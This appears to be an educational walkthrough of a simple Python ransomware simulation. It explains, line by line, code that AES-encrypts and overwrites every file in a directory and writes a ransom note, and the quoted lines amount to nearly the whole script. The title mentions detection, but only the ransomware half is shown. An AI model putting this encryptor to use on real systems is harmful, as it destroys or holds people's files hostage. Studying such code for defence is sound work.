L-Ransom: Ransomware Simulation and Detection

A. The Ransomware

1. Imports

os: Provides functions for interacting with the operating system, such as navigating directories and reading/writing files.

cryptography.hazmat.primitives.ciphers: Provides classes and functions for performing encryption and decryption using various algorithms and modes.

cryptography.hazmat.backends: Provides backend implementations (like OpenSSL) for cryptographic operations.

cryptography.hazmat.primitives.padding: Provides functions for padding and unpadding data to ensure it conforms to block size requirements of encryption algorithms.

base64: Provides functions for encoding and decoding data in base64, though it’s not used in this script.

1. Key Generation

generate\_key: This function generates a 256-bit (32 bytes) random key using os.urandom(32). This key will be used for AES encryption.

1. Data Encryption

iv = os.urandom(16): Generates a random 16-byte initialization vector (IV) used for AES in CBC mode to ensure that identical plaintexts encrypt to different ciphertexts.

Cipher(algorithms.AES(key), modes.CBC(iv), backend=default\_backend()): Creates a Cipher object using the AES algorithm in CBC mode, with the given key and IV. A backend is an implementation of cryptographic primitives (like ciphers, hash functions, etc.) and provides the actual code to perform these operations. This tells the Cipher object to use the default cryptographic backend (OpenSSL) to perform AES encryption in CBC mode.

encryptor = cipher.encryptor(): Creates an encryptor object that can be used to perform the encryption.

padding.PKCS7(algorithms.AES.block\_size).padder(): Initializes a padder to pad the plaintext data to ensure its length is a multiple of the AES block size (16 bytes).

padded\_data = padder.update(data) + padder.finalize(): Pads the data to the required length.

encrypted\_data = encryptor.update(padded\_data) + encryptor.finalize(): Encrypts the padded data.

return iv + encrypted\_data: Returns the IV concatenated with the encrypted data. The IV is needed for decryption.

1. Data Decryption

iv = encrypted\_data[:16]: Extracts the first 16 bytes of the encrypted data, which is the IV used during encryption.

cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default\_backend()): Creates a Cipher object for decryption using the same algorithm, key, and IV.

decryptor = cipher.decryptor(): Creates a decryptor object.

decrypted\_padded\_data = decryptor.update(encrypted\_data[16:]) + decryptor.finalize(): Decrypts the data starting after the IV (from byte 16 onward).

unpadder = padding.PKCS7(algorithms.AES.block\_size).unpadder(): Initializes an unpadder to remove the padding added during encryption.

decrypted\_data = unpadder.update(decrypted\_padded\_data) + unpadder.finalize(): Unpads the decrypted data and returns it.

1. Encrypt Files in a Directory

os.walk(directory): Walks through the directory tree, listing all files and subdirectories.

file\_path = os.path.join(root, file): Creates the full path to each file.

with open(file\_path, 'rb') as f: Opens each file in binary read mode.

file\_data = f.read(): Reads the file's contents.

encrypted\_data = encrypt\_data(key, file\_data): Encrypts the file data using the encrypt\_data function.

with open(file\_path, 'wb') as f: Reopens the file in binary write mode.

f.write(encrypted\_data): Overwrites the original file with the encrypted data.

print(f"Encrypted: {file\_path}"): Prints the path of each encrypted file.

1. Decrypt Files in a Directory

Identical to encrypt\_files, but instead of encrypting the files, it reads the encrypted data and decrypts it using the decrypt\_data function, then writes the decrypted data back to the file.

1. Create a Ransom Note

note: A string containing the ransom message.

note\_path = os.path.join(directory, 'RANSOM\_NOTE.txt'): Creates the full path for the ransom note.

with open(note\_path, 'w') as f: Opens the ransom note file in write mode.

f.write(note): Writes the ransom note message to the file.

print(f"Ransom note created at: {note\_path}"): Prints the path where the ransom note was created.

1. Main Function

directory\_to\_encrypt: Set this to the directory containing the files you want to encrypt.

key = generate\_key(): Generates a random encryption key.

encrypt\_files(directory\_to\_encrypt, key): Encrypts all files in the specified directory.

create\_ransom\_note(directory\_to\_encrypt): Creates a ransom note in the directory.

# decrypt\_files(directory\_to\_encrypt, key): Commented out code that, when uncommented, will decrypt the files using the same key.

1. Run the Script

if \_\_name\_\_ == "\_\_main\_\_":: Ensures that main() is called only when the script is run directly (not when imported as a module). This kicks off the encryption process when you run the script.